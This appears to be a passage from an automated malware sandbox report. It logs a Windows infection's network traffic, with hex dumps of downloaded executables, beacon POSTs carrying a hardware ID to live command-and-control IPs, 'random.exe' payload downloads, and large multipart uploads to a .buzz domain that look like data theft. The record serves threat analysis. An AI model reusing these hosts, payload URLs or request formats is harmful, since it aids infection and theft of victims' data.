00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 a0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 a2 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 72 68 6e 65 74 70 72 00 40 2b 00 00 c0 24 00 00 34 2b 00 00 a4 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 62 69 74 65 75 63 6e 00 10 00 00 00 00 50 00 00 06 00 00 00 d8 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 50 00 00 22 00 00 00 de 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 07:50:53 GMTContent-Type: application/octet-streamContent-Length: 3241472Last-Modified: Fri, 27 Dec 2024 07:41:43 GMTConnection: keep-aliveETag: "676e5a37-317600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 80 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 31 00 00 04 00 00 ff 37 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 65 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 65 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d4 05 00 00 00 90 06 00 00 06 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 67 75 75 6c 76 6e 66 71 00 c0 2a 00 00 b0 06 00 00 b6 2a 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 72 65 73 77 61 6f 68 00 10 00 00 00 70 31 00 00 06 00 00 00 4e 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 31 00 00 22 00 00 00 54 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 07:52:11 GMTContent-Type: application/octet-streamContent-Length: 1995776Last-Modified: Tue, 24 Dec 2024 13:33:22 GMTConnection: keep-aliveETag: "676ab822-1e7400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 1e cd 3a 91 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 98 1c 00 00 da 01 00 00 00 00 00 ce b7 1c 00 00 20 00 00 00 c0 1c 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 1e 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 b7 1c 00 4b 00 00 00 00 c0 1c 00 c8 d7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 1e 00 0c 00 00 00 39 b7 1c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 97 1c 00 00 20 00 00 00 98 1c 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 c8 d7 01 00 00 c0 1c 00 00 d8 01 00 00 9a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 1e 00 00 02 00 00 00 72 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 b7 1c 00 00 00 00 00 48 00 00 00 02 00 05 00 48 89 01 00 b4 38 03 00 03 00 00 00 e4 0b 00 06 fc c1 04 00 55 ef 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 2b 05 28 dc d7 31 60 28 02 00 00 06 2a 00 00 3a 2b 05 28 77 47 44 59 00 28 c7 0b 00 06 2a 00 12 00 00 00 2a 00 00 00 1a 28 ce 0a 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 ce 0a 00 06 2a 00 13 30 03 00 a1 00 00 00 01 00 00 11 28 ce 0a 00 06 20 01 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 04 00 00 00 21 00 00 00 3c 00 00 00 66 00 00 00 05 00 00 00 38 1c 00 00 00 2a 73 17 00 00 0a 80 06 00 00 04 20 03 00 00 00 16 39 d0 ff ff ff 26 38 c6 ff ff ff 73 18 00 00 0a 80 03 00 00 04 20 02 00 00 00 16 39 b5 ff ff ff 26 38 ab ff ff ff 73 19 00 00 0a 80 02 00 00 04 20 00 00 00 00 16 39 9a ff ff ff 26 38 90 ff ff ff 73 1a 00 00 0a 80 05 00 00 04 38 a0 ff ff ff 73 1b 00 00 0a 80 04 00 00 04 38 e2 ff ff ff 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 07:52:19 GMTContent-Type: application/octet-streamContent-Length: 1895424Last-Modified: Fri, 27 Dec 2024 07:41:21 GMTConnection: keep-aliveETag: "676e5a21-1cec00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 86 59 69 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 b4 00 00 00 00 00 00 00 10 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 4b 00 00 04 00 00 5e e8 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 59 40 05 00 6d 00 00 00 00 30 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 20 05 00 00 10 00 00 00 64 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 30 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 40 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2b 00 00 50 05 00 00 02 00 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 64 78 65 67 6f 69 6a 00 50 1a 00 00 b0 30 00 00 4c 1a 00 00 7a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 63 72 6f 68 6b 7a 78 00 10 00 00 00 00 4b 00 00 04 00 00 00 c6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 4b 00 00 22 00 00 00 ca 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 07:52:27 GMTContent-Type: application/octet-streamContent-Length: 5242880Last-Modified: Fri, 27 Dec 2024 07:41:34 GMTConnection: keep-aliveETag: "676e5a2e-500000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 10 50 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 50 00 00 04 00 00 74 b3 50 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 90 24 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 a0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 a2 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 72 68 6e 65 74 70 72 00 40 2b 00 00 c0 24 00 00 34 2b 00 00 a4 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 62 69 74 65 75 63 6e 00 10 00 00 00 00 50 00 00 06 00 00 00 d8 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 50 00 00 22 00 00 00 de 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBKFHJEBAAEBGDGDBFBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 41 44 45 42 37 36 43 41 43 31 33 33 33 32 37 34 33 38 36 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 2d 2d 0d 0a Data Ascii: ------IDBKFHJEBAAEBGDGDBFBContent-Disposition: form-data; name="hwid"4BADEB76CAC13332743865------IDBKFHJEBAAEBGDGDBFBContent-Disposition: form-data; name="build"stok------IDBKFHJEBAAEBGDGDBFB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/kardanvalov88/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 32 34 30 37 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1024078001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 32 34 30 37 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1024079001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49711 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49709 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49719 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49733 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49725 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49746 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49707 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49713 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49949 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49970 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49971 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49983 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49990 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49991 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=HLJF9R1HT34LQZLSHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12853Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=MLS8UO6PJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15051Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7XQ7AVB4VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19909Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=24BG24ZV1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1167Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ZQKPN1QK3IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 571948Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
